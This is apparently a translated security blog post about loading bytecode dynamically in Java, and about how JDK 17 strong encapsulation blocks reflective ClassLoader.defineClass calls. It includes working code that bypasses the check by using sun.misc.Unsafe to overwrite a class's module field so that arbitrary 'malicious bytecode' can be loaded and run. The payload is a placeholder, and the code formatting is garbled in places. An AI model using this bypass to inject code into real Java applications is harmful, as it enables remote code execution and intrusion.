Bytecode analysis of higher version JDK

0 23
This is a very typical operation of dynamically loading bytecode, which can exec...

This is a very typical operation of dynamically loading bytecode, which can execute arbitrary code in JDK8.

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Base64;

public class evilByteClassloader {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException {
String evilClassBase64 = "Base64 encoding of malicious bytecode";
byte[] decode = Base64.getDecoder().decode(evilClassBase64);
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class evilClassloader = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), decode, 0, decode.length);
evilClassloader.newInstance();
{}
{}

Bytecode analysis of higher version JDK

However, with the update of java versions, this method has been limited.

Modularization of JDK9

Oracle official documentation:Java Platform, Standard Edition What’s New in Oracle JDK 9, Release 9

Java 9 introduced the modularization system (Project Jigsaw). The main purpose of modularization is to improve the maintainability, scalability, and security of Java, while improving the construction and management of large applications and libraries.

  • Module: A module is a code unit with a clear boundary, containing a set of related packages, classes, and resources. Each module has a description file (module-info.java),used to declare the name, dependencies, and exported packages of the module.

In Java 9, each module is defined by amodule-info.javafile to define. This file is located in the root directory of the module and contains the metadata of the module. Here is an example:

module com.example.myModule {
exports com.example.myModule.api; // Export public API
requires java.sql; // Declare dependency on the java.sql module
{}

Java 9 also modularized the JDK itself

  • java.base: Core Java class library, all modules depend on this module.

  • java.sql: Modules related to database connections.

  • java.xml: Modules related to XML processing.

Modularization can be likened to building a house, dividing it into multiple rooms with clear functions. Each room (module) is responsible for specific tasks, such as the living room for receiving guests, the kitchen for cooking, etc., making the entire house (software project) structure clear, easy to understand and maintain. Modules do not interfere with each other, reducing functional conflicts, allowing for independent development and testing, and improving development efficiency. In addition, modularization can be loaded on demand, saving resources, and making maintenance work simpler, only repairing the module that has a problem without affecting other parts.

Impact

In fact, this update does not have much impact on the above code. We can still dynamically load bytecode, but a warning message will be output during code execution, reminding you that you are performing illegal reflection access. This will not prevent code execution, but it will remind you that this practice may be prohibited in the future.

警告:已发生非法反射访问操作
警告:EvilClassLoader.evilByteClassloader(文件路径:/D:/java_local/Temp/target/classes/)通过非法反射访问方法java.lang.ClassLoader.defineClass(byte[],int,int)
警告:请考虑向EvilClassLoader.evilByteClassloader的维护者报告此问题
警告:使用--illegal-access=warn启用进一步非法反射访问操作的警告
警告:在未来的版本中,所有非法访问操作都将被拒绝

JDK17的强封装

从JDK 8迁移到后续JDK版本

某些工具和库使用反射来访问仅限内部使用的JDK部分。这种反射的使用对JDK的安全性和可维护性产生负面影响。为了帮助迁移,从JDK 9到JDK 16允许这种反射继续,但会发出关于非法反射访问的警告。然而,JDK 17是强封装的,因此默认情况下不再允许这种反射。

According toOracle documentationFor security reasons, starting from JDK 17, strong encapsulation is used for java itself, called Strong Encapsulation in the original text. Any reflection on non-public variables and methods in java.* will throw an InaccessibleObjectException exception.

JDK documentationTwo reasons for encapsulating java api are explained:

  1. Reflection on java code is not safe, for example, it can call the defineClass method of ClassLoader, which can inject arbitrary code into the program at runtime.

  2. These non-public APIs of java itself are non-standard, and relying on the use of this API will bring a burden to the maintenance of JDK.

So starting from JDK 9, restrictions on reflection of java api were prepared, and it was officially disabled until JDK 17.

Exception in thread "main" java.lang.reflect.InaccessibleObjectException: Unable to make protected final java.lang.Class java.lang.ClassLoader.defineClass(byte[],int,int) throws java.lang.ClassFormatError accessible: module java.base does not "opens java.lang" to unnamed module @404b9385
at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:354)
at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:297)
at java.base/java.lang.reflect.Method.checkCanSetAccessible(Method.java:199)
at java.base/java.lang.reflect.Method.setAccessible(Method.java:193)
at EvilClassLoader.evilByteClassloader.main(evilByteClassloader.java:13)

This information indicates:

  • defineClassmethods are declared asprotected, and it belongs tojava.basemodule.

  • java.baseThe module has not openedjava.langThe package is opened to unnamed modules (i.e., modules that are not explicitly declared).

You can open the moudle-info.class file of the java.base module to see, there is no opens instruction used, which means that no resources are opened for reflection access by external modules.

Here is an explanation of some of the keywords:

  1. module

  • Define: Used to declare a module. Each module has a unique name.

  • Example:

module com.example.myModule {
{}
  1. requires

  • Define: Used to declare other modules that the current module depends on. A module can depend on one or more modules.

  • Example:

module com.example.myModule {
requires com.example.otherModule;
{}
  1. exports

  • Define: Used to declare the packages that the current module wants to make public. ThroughexportsThe public classes and interfaces in the declared package can be accessed by other modules.

  • Example:

module com.example.myModule {
exports com.example.myModule.api;
{}
  1. opens

  • Define: withexportsSimilarly, but allows other modules to access the specified package through reflection. Suitable for situations that need to dynamically access classes and members, such as serialization and dependency injection.

  • Example:

module com.example.myModule {
opens com.example.myModule.internal to com.example.otherModule;
{}

And the dynamic class loading call is reflection call java.lang.ClassLoader#defineClass, which is located under the java.base module. This module does not allow reflection calls from external modules, so the above code cannot successfully dynamically load bytecode.

Bypass

Of course, we can still bypass the above restrictions.

We can easily trace the problem to the following function based on the error message.

private boolean checkCanSetAccessible(Class<?> caller,
                                 Class<?> declaringClass,
                                 boolean throwExceptionIfDenied) {
if (caller == MethodHandle.class) {
   throw new IllegalCallerException(); // should not happen
{}

Module callerModule = caller.getModule();
Module declaringModule = declaringClass.getModule();

if (callerModule == declaringModule) return true;
if (callerModule == Object.class.getModule()) return true;
if (!declaringModule.isNamed()) return true;

String pn = declaringClass.getPackageName();
int modifiers;
if (this instanceof Executable) {
   modifiers = ((Executable) this).getModifiers();
} else {}}
   modifiers = ((Field) this).getModifiers();
{}

// class is public and package is exported to caller
boolean isClassPublic = Modifier.isPublic(declaringClass.getModifiers());
if (isClassPublic && declaringModule.isExported(pn, callerModule)) {
   // member is public
   if (Modifier.isPublic(modifiers)) {
       return true;
  {}

   // member is protected-static
   if (Modifier.isProtected(modifiers)
       && Modifier.isStatic(modifiers)
       && isSubclassOf(caller, declaringClass)) {
       return true;
  {}
{}

// package is open to caller
if (declaringModule.isOpen(pn, callerModule)) {
   return true;
{}

if (throwExceptionIfDenied) {
   // not accessible
   String msg = "Unable to make ";
   if (this instanceof Field)
       msg += "field ";
   msg += this + " accessible: " + declaringModule + " does not \"";
   if (isClassPublic && Modifier.isPublic(modifiers))
       msg += "exports";
   else
       msg += "opens";
   msg += " " + pn + "\" to " + callerModule;
   InaccessibleObjectException e = new InaccessibleObjectException(msg);
   if (printStackTraceWhenAccessFails()) {
       e.printStackTrace(System.err);
  {}
   throw e;
{}
return false;
{}

This code is part of Java's reflection mechanism, mainly used to check whether a class or member (such as a method, field) can be accessed via reflection. Its function is to determine whether a caller (caller)whether it has permission to access a declared class or member (declaringClass).

In this code snippet,checkCanSetAccessibleThere are multiple conditions that can returntrue,means that the caller can access the specified class or member. The following are all methods that can returntrueSummary of the situation:

  1. same module:ifcallerModuleanddeclaringModuleis the same module (callerModule == declaringModule),returnstrue

  2. unnamed module:ifcallerModuleisObjectthe module of the class (unnamed module), returnstruecallerModule == Object.class.getModule()).

  3. the declarer of the unnamed module:ifdeclaringModuleis not a named module (!declaringModule.isNamed()),returnstrue

  4. public class and exported package:ifdeclaringClassis a public class (isClassPublicfortrue)and the declaring module exports the package (declaringModule.isExported(pn, callerModule)):if the member is public (Modifier.isPublic(modifiers)),returnstrue。Or if the member is a protected static member (Modifier.isProtected(modifiers) && Modifier.isStatic(modifiers))and the caller is a subclass of the declaring class (isSubclassOf(caller, declaringClass)),returnstrue

  5. the open package:ifdeclaringModulefor the package (pn)is open (declaringModule.isOpen(pn, callerModule)),returnstrue

We can focus on the first case, that iscallerModuleanddeclaringModuleis the same module. Because its comparison is to get the calling classClassobject'sMoudleProperty to compare with the declared classClassobject'smoduleProperty to make a comparison, that is, the current class we are running andClassLoaderof theClassobject'smoduleProperty for comparison, if we can modify the current classClassobject'smoduleProperty, set andClassLoaderof theClassobject'smoduleproperty is the same, then you can returntrue, that is, the reflection call of the current class runningClassLoaderof thedefineclassmethod.

So how did it do it? Don't be in a hurry, we need to introduce a class because the above operations will be implemented based on the methods of this class.

the Unsafe class

Unsafeis located insun.miscis a class under the package, which mainly provides some methods for executing low-level, unsafe operations, such as direct access to system memory resources, autonomous management of memory resources, etc. These methods play a very important role in improving the running efficiency of Java and enhancing the underlying resource operation ability of Java language. However, due toUnsafeclass enables Java language to have the ability to operate memory space similar to C language pointers, which undoubtedly also increases the risk of program-related pointer problems. The excessive and incorrect use ofUnsafeclass will increase the probability of program errors, making Java, a language that is originally safe, no longer 'safe'. Therefore,UnsafeThe use of it must be cautious. — Excerpt:Java Magic Class Unsafe Detailed Explanation | JavaGuide

This class exactly provides the modification of the module of the Class object.

Unsafe existsdefineClassanddefineAnonymousClassHowever, they were all deleted after JDK17. We will not discuss them andClassLoader#defineclassThe functions are the same.

We focus on the following methods:

objectFieldOffset

The main function is to use reflection to get the field offset

public long objectFieldOffset(Field f) {
if (f == null) {
throw new NullPointerException();
{}
Class<?> declaringClass = f.getDeclaringClass();
if (declaringClass.isHidden()) {
throw new UnsupportedOperationException("can't get field offset on a hidden class: " + f);
{}
if (declaringClass.isRecord()) {
throw new UnsupportedOperationException("can't get field offset on a record class: " + f);
{}
return theInternalUnsafe.objectFieldOffset(f);
{}

getAndSetObject

It retrieves the current value of an object at a specific memory offset and replaces it with a new value.

public final Object getAndSetObject(Object o, long offset, Object newValue) {
return theInternalUnsafe.getAndSetReference(o, offset, newValue);
{}

putObject

It is used to write an object (or reference) to the specified memory offset of an object

public void putObject(Object o, long offset, Object x) {
theInternalUnsafe.putReference(o, offset, x);
{}

The putObject and getAndSetObject methods are very similar, butgetAndSetObjectIt will return the old value that was replaced, of course, there are also some differences in detail, such asgetAndSetObjectIt will use atomic operations to ensure simultaneous execution of reading and writing. However, in terms of modifying the module attribute of the Class object of the class, both can be used.

I have been talking about the module of the Class object of the class, that is to say, the module attribute is in the Class class, when the class is loaded into the virtual machine, a Class object of the class will be generated, and there is only one existing.

You can obtain an Unsafe object using the following code

Class unsafeClass = Class.forName("sun.misc.Unsafe");
Field field = unsafeClass.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null);

We can directly reflect to obtain this class because the module where the Unsafe class is locatedjdk.unsupportedofmoudle-info.classfile, using the opens instruction to exposesun.miscpackage, because we can perform reflection operations on the classes under this package, naturally includingsun.misc.Unsafe


Then let's use the above knowledge to write dynamic bytecode loading for JDK versions 17 and above.

import sun.misc.Unsafe;

import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Base64;

public class JDKbypass {
public static void main(String[] args) throws Exception {
String evilClassBase64 = "Base64 encoding of malicious bytecode";
byte[] bytes = Base64.getDecoder().decode(evilClassBase64);
Class unsafeClass = Class.forName("sun.misc.Unsafe");
Field field = unsafeClass.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null);
Module baseModule = Object.class.getModule();
Class currentClass = JDKbypass.class;
long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
//Use putObject method to set module
unsafe.putObject(currentClass, offset, baseModule);
//Use getAndSetObject method to set module
//unsafe.getAndSetObject(currentClass,offset,baseModule);
Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
method.setAccessible(true);
((Class) method.invoke(ClassLoader.getSystemClassLoader(), bytes, 0, bytes.length)).newInstance();
{}
{}
你可能想看:
最后修改时间:
admin
上一篇 2025年03月27日 18:54
下一篇 2025年03月27日 19:17

评论已关闭